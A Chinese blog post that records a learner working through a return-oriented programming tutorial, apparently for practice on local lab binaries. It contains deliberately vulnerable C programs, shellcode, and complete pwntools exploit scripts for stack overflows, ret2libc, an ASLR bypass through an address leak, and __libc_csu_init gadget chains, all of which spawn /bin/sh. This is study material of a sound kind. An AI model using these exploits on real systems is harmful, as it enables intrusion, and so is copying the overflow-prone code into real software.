蒸米ROP学习记录

参考链接

  • 语雀的一个大佬的记录:https://www.yuque.com/hxfqg9/bin/zzg02e
  • 阿里聚安全写的蒸米rop记录:https://segmentfault.com/a/1190000007406442
  • 一步一步学ROP(x86):http://www.vuln.cn/6645
  • 一步一步学ROP(x64):http://www.vuln.cn/6644
  • 需要的工具(pattern.py):https://github.com/zhengmin1989/ROP_STEP_BY_STEP

32位

简单的栈溢出

level1.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function()
{
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv)
{
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

用如下选项编译:

gcc -m32 -fno-stack-protector -z execstack -o level1 level1.c
  • -m32意思是编译为32位的程序
  • -fno-stack-protector会关掉Stack Protector
  • -z execstack会关掉DEP

发现缺少库文件

在这里插入图片描述

输入下面命令安装32位库

sudo apt-get install libc6-dev-i386

关闭随机化(需要在root权限下)

echo 0 > /proc/sys/kernel/randomize_va_space

sudo passwd可以改root密码,然后su root切换到root输入上面命令。

检查level二进制的安全保护机制

checksec level1

在这里插入图片描述

先装一下peda。

$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit 

用gdb调试level

gdb level1

用peda自带的脚本生成点数据。

pattern create 150

在这里插入图片描述

按r运行,在输入之前生成的字符串。可以发现发生了段错误。这里的意思是说,本来的返回地址0x416d4141被我们输入的字符串给覆盖了。

在这里插入图片描述

pattern offset 0x41416d41计算偏移

在这里插入图片描述

然而用gdb调试,会影响buf的实际地址。因此解决方法是开启一个core dump的功能:

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

然后我们运行真实程序,可以有提示(core dumped)

在这里插入图片描述

用gdb调试。

在这里插入图片描述

查看寄存器x/10s $esp-144,找到ret地址。之前用gdb调试在当前文件夹的core出来的地址,不知道为什么一直无法正常利用。用了这个命令后才正常。sudo sh -c ‘echo “/tmp/core.%t” > /proc/sys/kernel/core_pattern’。留在以后解决吧,暂时感觉对栈溢出的利用不太相关。

在这里插入图片描述

最后exp:

from pwn import *
p = process('./level1')
ret = 0xffffcfa0
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload)
p.interactive()

最后结果:

在这里插入图片描述

ret2libc

gcc编译,去掉栈可执行这一选项。

gcc -m32 -fno-stack-protector -o level2 level1.c

检查一下level2二进制的安全机制,可以看到NX是enabled的状态

在这里插入图片描述

关掉ASLR 后 system() 函数在内存中的地址是不会变化的,并且 libc.so 中也包含 “/bin/sh” 这个字符串,并且这个字符串的地址也是固定的,所以可以通过gdb找到system和/bin/sh的地址,实现ret2libc。

首先用gdb ./level2调试

我们首先在main函数上下一个断点:b main

然后输入r执行程序,这时libc已经加载到内存中了。然后可以通过print system命令找到system函数在内存中的位置。

在这里插入图片描述

用find命令找到"/bin/sh"字符串的位置。

在这里插入图片描述

所以我们找到了这两个地址:

  • system地址:0xf7e3ddb0

  • /bin/sh地址:0xf7f5eb0b

所以exp脚本如下,ret地址是执行完这个shell后再从ret地址跳到别的地方去,由于后续不需要别的操作,ret地址就随便填个。

from pwn import *
p = process('./level2')
ret = 0xdeadbeef
systemaddr = 0xf7e3ddb0
binshaddr = 0xf7f5eb0b
payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
p.send(payload)
p.interactive()

最后结果如下:
在这里插入图片描述

绕过ASLR

切换到root开启随机化

echo 2 > /proc/sys/kernel/randomize_va_space

可以看到每次加载动态库的地址都不一样了。

在这里插入图片描述

一个解决方法是先泄漏出 libc.so 某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出 system() 函数和 /bin/sh 字符串在内存中的地址,然后再执行我们的 ret2libc 的 shellcode 就可以了

先把程序用到的libc文件拷贝到当前目录

cp /lib/i386-linux-gnu/libc.so.6 libc.so

这样当前目录下就多了一个libc.so文件

使用:objdump -d -j .plt level2 查看可以利用的函数

在这里插入图片描述

使用objdump -R level2查看对应GOT表

在这里插入图片描述

因为system()和write()在libc.so的相对地址是不变的,只要知道write的地址,并且知道他们的相对偏移,就可以推出system的地址。exp如下:

from pwn import *
libc = ELF('libc.so')
elf = ELF('level2')
p = process('./level2')
plt_write = elf.symbols['write']
got_write = elf.got['write']
vulfun_addr = 0x0804843b
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
p.send(payload1)
write_addr = u32(p.recv(4))
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
p.send(payload2)
p.interactive()

vulfun_addr可用objdump -d level2来找到漏洞函数的地址。

在这里插入图片描述

exp的思路是先利用栈溢出漏洞泄露write函数的地址,然后用write函数的地址减去libc里write和system的偏移,就可以得到system的地址。同理也可以得到/bin/sh字符串的地址。最后结果如下:

在这里插入图片描述

没有libc

做题的时候有可能,不知道究竟用的是什么libc版本。这时候就需要使用libcsearcher了。使用libc searcher的exp如下:

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
elf = ELF('level2')

p = process('./level2')
#p = remote('127.0.0.1', 10003)

plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x0804843b
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump("write")
print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = libc_base + libc.dump("system")
print 'system_addr= ' + hex(system_addr)
binsh_addr = libc_base + libc.dump("str_bin_sh")
print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print "\n###sending payload2 ...###"
p.send(payload2)

p.interactive()

可能遇到如下问题:

Multi Results:
 0: archive-old-glibc (id libc6_2.21-0ubuntu4.3_i386)
 1: archive-glibc (id libc6_2.23-0ubuntu3_i386)
Please supply more info using 
    add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:1

可以参考链接解决:https://blog.csdn.net/qq_40026795/article/details/107150265

libc searcher的基本用法

libc=LibcSearcher('write',write_addr)#基于已泄露的write地址求出libc版本
libcbase=write_addr-libc.dump("write")#求偏移地址
system_addr=libcbase+libc.dump("system")#用基址偏移加上system的偏移得出system的地址
binsh_addr=libcbase+libc.dump("str_bin_sh")#使用基址加上 /bin/sh 字符串的偏移,得到 /bin/sh 的实际地址

最后利用成功:
在这里插入图片描述

x64

简单的64位栈溢出

64位和32位的一个很大差别在于参数的存放地方。x86 都是保存在栈上面的, 而 x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中,如果还有更多的参数的话才会保存在栈上。

漏洞代码:level3.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void callsystem()
{
    system("/bin/sh");
}
void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

开启ASLR,按以下命令编译:

gcc -fno-stack-protector level3.c -o level3

gdb调试找到溢出点

gdb level3

输入r运行程序,再输入一堆很长的字符让程序溢出。然后查看寄存器rsp的值

在这里插入图片描述

并用pattern.py计算偏移。
在这里插入图片描述

exp代码:

from pwn import *
p=process('./level3')
sys_addr=0x0000000004005B6
pay='a'*136+p64(sys_addr)
p.sendline(pay)
p.interactive()

最后结果:

在这里插入图片描述

寻找gadget

由于 x64 的参数前几个都存在寄存器上,所以需要找一些pop rdi ;ret之类的 gadget。

level4.c的源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
    void* handle = dlopen("libc.so.6", RTLD_LAZY);
    printf("%p\n",dlsym(handle,"system"));
    fflush(stdout);
}
void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
    systemaddr();
    write(1, "Hello, World\n", 13);
    vulnerable_function();
}

这个程序打印了system的地址,所以我们需要考虑/bin/sh的地址,但由于参数是存在寄存器中的,所以需要一个pop rdi ; ret 的gadget。由于这个程序太小,我们去libc.so里去找gadget。

找gadget的工具有:

ROPEME: https://github.com/packz/ropeme
Ropper: https://github.com/sashs/Ropper
ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master
rp++: https://github.com/0vercl0k/rp

我们就用一个简单的ROPgadget来找。

首先用ldd level4找到level4用的共享库。

ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi

出来结果如下:
在这里插入图片描述

exp如下:

from pwn import *
from LibcSearcher import *
p=process('./level4')
elf=ELF('./level4')
sys_addr=p.recvuntil('\n') #终端获取system的地址
sys_addr=int(sys_addr,16)
libc=LibcSearcher('system',sys_addr)#获取libc版本
pop_ret_offset=0x0000000000021112-libc.dump('system')#获取pop_ret gadget到system的偏移
pop_ret_addr=pop_ret_offset+sys_addr#基于偏移获取到pop-ret gadget的地址
libc_base=sys_addr-libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload='a'*136+p64(pop_ret_addr)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()

利用成功:

在这里插入图片描述

通用gadget

level5.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

这部分主要介绍的是如何针对一个没有辅助函数的64位程序来进行利用。【这部分基本没搞懂=_=】

漏洞代码level5.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

这个函数有一个栈溢出漏洞,和前面类似,也是先泄露内存信息,找到system()的值,然后传递“/bin/sh”到bss段,最后调用system(“/bin/sh”)。程序中有write函数,所以可以用write来输出write.got的地址,从而计算出libc.so在内存中的地址。但由于是64位,参数都保存在寄存器上,而且没有pop rdi ; ret ,pop rsi ; ret的gadget。蒸米rop告诉我们x64下的__libc_csu_init()函数有万能的gadget可以用。

00000000004005a0 <__libc_csu_init>:
  4005a0:   48 89 6c 24 d8          mov    %rbp,-0x28(%rsp)
  4005a5:   4c 89 64 24 e0          mov    %r12,-0x20(%rsp)
  4005aa:   48 8d 2d 73 08 20 00    lea    0x200873(%rip),%rbp        # 600e24 <__init_array_end>
  4005b1:   4c 8d 25 6c 08 20 00    lea    0x20086c(%rip),%r12        # 600e24 <__init_array_end>
  4005b8:   4c 89 6c 24 e8          mov    %r13,-0x18(%rsp)
  4005bd:   4c 89 74 24 f0          mov    %r14,-0x10(%rsp)
  4005c2:   4c 89 7c 24 f8          mov    %r15,-0x8(%rsp)
  4005c7:   48 89 5c 24 d0          mov    %rbx,-0x30(%rsp)
  4005cc:   48 83 ec 38             sub    $0x38,%rsp
  4005d0:   4c 29 e5                sub    %r12,%rbp
  4005d3:   41 89 fd                mov    %edi,%r13d
  4005d6:   49 89 f6                mov    %rsi,%r14
  4005d9:   48 c1 fd 03             sar    $0x3,%rbp
  4005dd:   49 89 d7                mov    %rdx,%r15
  4005e0:   e8 1b fe ff ff          callq  400400 <_init>
  4005e5:   48 85 ed                test   %rbp,%rbp
  4005e8:   74 1c                   je     400606 <__libc_csu_init+0x66>
  4005ea:   31 db                   xor    %ebx,%ebx
  4005ec:   0f 1f 40 00             nopl   0x0(%rax)
  4005f0:   4c 89 fa                mov    %r15,%rdx
  4005f3:   4c 89 f6                mov    %r14,%rsi
  4005f6:   44 89 ef                mov    %r13d,%edi
  4005f9:   41 ff 14 dc             callq  *(%r12,%rbx,8)
  4005fd:   48 83 c3 01             add    $0x1,%rbx
  400601:   48 39 eb                cmp    %rbp,%rbx
  400604:   75 ea                   jne    4005f0 <__libc_csu_init+0x50>
  400606:   48 8b 5c 24 08          mov    0x8(%rsp),%rbx
  40060b:   48 8b 6c 24 10          mov    0x10(%rsp),%rbp
  400610:   4c 8b 64 24 18          mov    0x18(%rsp),%r12
  400615:   4c 8b 6c 24 20          mov    0x20(%rsp),%r13
  40061a:   4c 8b 74 24 28          mov    0x28(%rsp),%r14
  40061f:   4c 8b 7c 24 30          mov    0x30(%rsp),%r15
  400624:   48 83 c4 38             add    $0x38,%rsp
  400628:   c3                      retq   

可以看到400606处的代码控制了rbx,rbp,r12,r13,r14,r15的值,然后再利用4005f0的代码将r15的值赋给rdx,r14的值赋给rsi,r13的值赋给edi,随后调用一个call。之后,rbx+=1,然后对比rbp和rdx的值,相等往下执行,并ret到别的地方去。于是为了让rbp和rbx的值相等,由于之前已经将rbx的值设为0了,所以可以将rbp的值设置为1。

构造payload1,利用write()输出write在内存中的地址。【看上面的思路感觉懂了,看代码就懵逼了==】

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

当获取到write在内存中的地址后,就可以计算处system()在内存中的地址。接着构造payload2,利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。【这部分也是懵逼的==】

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)

接着利用payload3来调用system()函数执行"/bin/sh",由于system()地址保存在了.bss段首地址上,"/bin/sh"的地址保存在了.bss段首地址+8字节上。【感觉这三个都差不多,弄懂一个就全通了,但是我没懂…,先放着,看看后面会不会遇到什么顿悟吧==】

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)

最终exp

from pwn import *

elf = ELF('level5')
libc = ELF('libc.so.6')

p = process('./level5')
#p = remote('127.0.0.1',10001)

got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)

main = 0x400564

off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

p.recvuntil("Hello, World\n")

print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)

system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)

bss_addr=0x601028

p.recvuntil("Hello, World\n")

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)

print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)

p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)

p.recvuntil("Hello, World\n")

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)

print "\n#############sending payload3#############\n"

sleep(1)
p.send(payload3)

p.interactive()

在这里插入图片描述

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

破落之实

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值